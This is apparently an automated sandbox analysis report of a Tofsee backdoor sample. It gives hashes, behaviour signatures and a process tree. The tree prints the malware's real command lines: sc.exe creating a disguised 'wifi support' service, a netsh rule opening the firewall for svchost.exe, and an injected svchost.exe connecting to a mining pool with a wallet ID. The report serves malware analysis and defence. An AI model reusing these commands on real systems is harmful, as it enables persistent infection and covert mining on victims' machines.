Analysis

  • max time kernel
    147s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    15-11-2020 22:45

General

  • Target

    9730015009d0cbdbe0c743316f68e649e6ae212df7e0f9769b75f9d9275c8e83.exe

  • Size

    14.5MB

  • MD5

    1a59bd862e027948f92eed55452f7c31

  • SHA1

    d8fe3364013d021cbfbd24e09e6fd3abe7fa4533

  • SHA256

    9730015009d0cbdbe0c743316f68e649e6ae212df7e0f9769b75f9d9275c8e83

  • SHA512

    00870b04fe5a494317d0e0ed95b4278f26eb8ad153cae47e15cdb02705127e8552584da7cb2f189828557dd61bbda50a82baf3d6156bd6494dd9cd8b1a9ee22f

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9730015009d0cbdbe0c743316f68e649e6ae212df7e0f9769b75f9d9275c8e83.exe
    "C:\Users\Admin\AppData\Local\Temp\9730015009d0cbdbe0c743316f68e649e6ae212df7e0f9769b75f9d9275c8e83.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1272
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hegrnaha\
      2⤵
        PID:2800
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xtntzbtk.exe" C:\Windows\SysWOW64\hegrnaha\
        2⤵
          PID:3440
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hegrnaha binPath= "C:\Windows\SysWOW64\hegrnaha\xtntzbtk.exe /d\"C:\Users\Admin\AppData\Local\Temp\9730015009d0cbdbe0c743316f68e649e6ae212df7e0f9769b75f9d9275c8e83.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1864
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description hegrnaha "wifi internet conection"
            2⤵
              PID:2480
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start hegrnaha
              2⤵
                PID:1548
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:3976
              • C:\Windows\SysWOW64\hegrnaha\xtntzbtk.exe
                C:\Windows\SysWOW64\hegrnaha\xtntzbtk.exe /d"C:\Users\Admin\AppData\Local\Temp\9730015009d0cbdbe0c743316f68e649e6ae212df7e0f9769b75f9d9275c8e83.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:980
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:2516
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2524

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\xtntzbtk.exe
                MD5

                d69a699f6acd29c0634b9b7e87a50fba

                SHA1

                321ff9386616ce4d7649c6e3e732d3749fae7082

                SHA256

                8aeeb44c0d16f2096007f45c6fc8ef7b221910e1058a6899358249eadef9afd3

                SHA512

                bd97f7993c74db872395503e842c1093173981562fedfb7a4d1fb8fdbcc00005ed1385bf1302306e61f2381a6c1e5f12e236b53003a5b04f93a1565dd696f988

              • C:\Windows\SysWOW64\hegrnaha\xtntzbtk.exe
                MD5

                d69a699f6acd29c0634b9b7e87a50fba

                SHA1

                321ff9386616ce4d7649c6e3e732d3749fae7082

                SHA256

                8aeeb44c0d16f2096007f45c6fc8ef7b221910e1058a6899358249eadef9afd3

                SHA512

                bd97f7993c74db872395503e842c1093173981562fedfb7a4d1fb8fdbcc00005ed1385bf1302306e61f2381a6c1e5f12e236b53003a5b04f93a1565dd696f988

              • memory/1548-5-0x0000000000000000-mapping.dmp
              • memory/1864-3-0x0000000000000000-mapping.dmp
              • memory/2480-4-0x0000000000000000-mapping.dmp
              • memory/2516-8-0x0000000003209A6B-mapping.dmp
              • memory/2516-7-0x0000000003200000-0x0000000003215000-memory.dmp
                Filesize

                84KB

              • memory/2516-11-0x0000000004F50000-0x000000000515F000-memory.dmp
                Filesize

                2.1MB

              • memory/2516-12-0x0000000003270000-0x0000000003276000-memory.dmp
                Filesize

                24KB

              • memory/2516-13-0x0000000003360000-0x0000000003370000-memory.dmp
                Filesize

                64KB

              • memory/2516-14-0x0000000003370000-0x0000000003375000-memory.dmp
                Filesize

                20KB

              • memory/2516-15-0x0000000009710000-0x0000000009B1B000-memory.dmp
                Filesize

                4.0MB

              • memory/2516-16-0x00000000033D0000-0x00000000033D7000-memory.dmp
                Filesize

                28KB

              • memory/2524-17-0x0000000002E50000-0x0000000002F41000-memory.dmp
                Filesize

                964KB

              • memory/2524-19-0x0000000002EE259C-mapping.dmp
              • memory/2800-0-0x0000000000000000-mapping.dmp
              • memory/3440-1-0x0000000000000000-mapping.dmp
              • memory/3976-10-0x0000000000000000-mapping.dmp